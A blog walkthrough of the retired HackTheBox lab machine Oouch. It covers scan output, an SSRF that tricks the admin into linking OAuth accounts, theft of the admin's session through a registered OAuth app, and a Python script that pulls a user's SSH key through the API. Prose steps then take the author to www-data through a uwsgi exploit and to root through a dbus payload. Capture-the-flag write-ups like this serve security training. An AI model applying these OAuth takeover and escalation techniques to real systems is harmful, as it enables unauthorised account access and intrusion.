HackTheBox - Oouch

Summary

Oouch,a Linux box created by HackTheBox user qtc, was an overall hard difficulty box. The Initial Enumeration was was finding the oauth hidden directory and we also find an SSRF in contact page using which we trick Admin to oauth and link account to our account and can read some admin only Documents which leak an applications/registration.We register an application, and we trick admin again and steal admin sessionid of qtc and use that and using the api and we grab the qtc ssh key and using that we can ssh as qtc and read user.txt. Enumerating user, we find docker running and we see we can ssh to on of the container we see uwsgi and which was vulnerable and we can get a shell as www-data. Enumerating again we see dbus is used and it is running as root.Using dbus we can send a a payload to get a shell as root.

Enumeration

nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Nmap scan report for oouch.htb (10.10.10.177)
Host is up (0.25s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 18:34 project.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.15.241
| Logged in as ftp
| TYPE: ASCII
| Session bandwidth limit in byte/s is 30000
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
5000/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was http://oouch.htb:5000/login?next=%2F
8000/tcp open rtsp
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| RTSPRequest:
| RTSP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| SIPOptions:
| SIP/2.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
|_ <h1>Bad Request (400)</h1>
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=3/8%Time=5E641866%P=x86_64-pc-linux-gnu%r(Get
SF:Request,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h
SF:1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Requ
SF:est\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>
SF:Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\
SF:r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\x
SF:20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Autho
SF:rization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 846.49 seconds

Looking in the ftp we find a file project.txt

1
2
Flask -> Consumer
Django -> Authorization Server

Lets Start with port 5000

we see a login and register and we login

we don’t see anything so i ran gobuster again with

1
2
3
4
5
6
7
8
9
/login (Status: 200)
/register (Status: 200)
/contact (Status: 302)
/profile (Status: 302)
/logout (Status: 302)
/home (Status: 302)
/about (Status: 302)
/documents (Status: 302)
/oauth (Status: 302)

we see oauth and

we find a domain as consumer.oouch.htb we add that and open oauth/connect we are redirected to authoration.oouch.htb we add that and visit the page again and we see a login page. I register on that and complete the connect and again do /oauth/login and we see are connected via that account.

Trying other things i see there is a SSRF on contact page.

So i grab the oauth token and and send that via contact page for admin to review it

and waiting for few seconds and doing oauth/login we see now we are qtc and can access documents page

With that we can conclude

  • there might be some applicaion registration
  • there is an api which get us user data
  • qtc ssh key is stored somewhere

Enumerating Authorization

Enumerating and running gobuster again and again

I found /oauth/applications/register

I register an app which redirect to my server.

Steal qtc session

Trying to send a authorize url we see, we can get the session id for qtc

and listening for that i get the session id for qtc

Get ssh key

so i wrote a application to grab the ssh key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests, json
import subprocess
import sys

authorize_url = "http://authorization.oouch.htb:8000/oauth/authorize/"
token_url = "http://authorization.oouch.htb:8000/oauth/token/"

#callback url specified when the application was defined
callback_uri = "http://10.10.14.35:9001/callback"

test_api_url = "http://authorization.oouch.htb:8000/api/get_ssh/"

#client (application) credentials - located at apim.byu.edu
client_id = 'euPbO0hjTrt9J3bUdW4Lqe8vHLGLIywmvOkoyIWn'
client_secret = 'FJcuXXzcXsiLSRHxakd9PdMOEact3y7V1VamF6QJVs3YEvJUNpKDWwjzanTWXKAAmiwzJxW8MTTNu3HQxdwSvJCeaT6AdWzb8Kk9bNwvToQWjCmxFotbdI3ROPt8ZG8B'

#step A - simulate a request from a browser on the authorize_url - will return an authorization code after the user is
# prompted for credentials.

authorization_redirect_url = authorize_url + '?response_type=code&client_id=' + client_id + '&redirect_uri=' + callback_uri + '&scope=read'


print "go to the following url on the browser and enter the code from the returned url: "
print "--- " + authorization_redirect_url + " ---"
authorization_code = raw_input('code: ')

# step I, J - turn the authorization code into a access token, etc
data = {'grant_type': 'authorization_code', 'code': authorization_code, 'redirect_uri': callback_uri}
print "requesting access token"
access_token_response = requests.post(token_url, data=data, verify=False, allow_redirects=False, auth=(client_id, client_secret))

print "response"
print access_token_response.headers
print 'body: ' + access_token_response.text

# we can now use the access_token as much as we want to access protected resources.
tokens = json.loads(access_token_response.text)
access_token = tokens['access_token']
print "access token: " + access_token

api_call_headers = {'Authorization': 'Bearer ' + access_token}
api_call_response = requests.get(test_api_url, headers=api_call_headers, verify=False)

print api_call_response.text

and executing that we can get the ssh for qtc

User

Using the key we have we can login as qtc on the box and grab user.txt

Privilege Escalation

we see a notes.txt in qtc home folder.

1
Implementing an IPS using DBus and iptables == Genius?

So we see dbus is used for something. Running ifconfig we see that we have docker running so i got nmap static binary and we get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
qtc@oouch:/tmp$ ./nmap -p- 172.18.0.2

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2020-03-09 07:05 CET
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.2
Host is up (0.00018s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3306/tcp open mysql

Nmap done: 1 IP address (1 host up) scanned in 17.64 seconds
qtc@oouch:/tmp$ ./nmap -p- 172.18.0.3

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2020-03-09 07:05 CET
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.3
Host is up (0.00013s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
8000/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
qtc@oouch:/tmp$ ./nmap -p- 172.18.0.4

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2020-03-09 07:05 CET
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.4
Host is up (0.00012s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 18.50 seconds
qtc@oouch:/tmp$ ./nmap -p- 172.18.0.5

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2020-03-09 07:06 CET
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.5
Host is up (0.00012s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3306/tcp open mysql

Nmap done: 1 IP address (1 host up) scanned in 19.89 seconds

we see that 172.18.0.4 has port 22 open so we can try ssh to that as we see a .ssh have a private key

and we can ssh to the container.

looking around we find /code directory which contain the app for consumer.oouch.htb

we see uwsgi used there. so i checked for a socket file in /tmp and a uwsi.socket

also checking for uwsgi version

1
2
uwsgi --version
2.0.17.1

looking for exploit for that version i found on github

so using that i tried to get a shell as www-data as i was not seeing anything much interesting.

and listening we get a shell as www-data

going back to the note i started checking for dbus in the code and saw dbus was used to send the ip when an xss was attempted to block the ip so i copied that part of the code and then tried to send a payload using that as and run it to give a shell as root

which gave me a shell as root and we can read root.txt

and we have pwned Oouch 💃

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/oouch/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.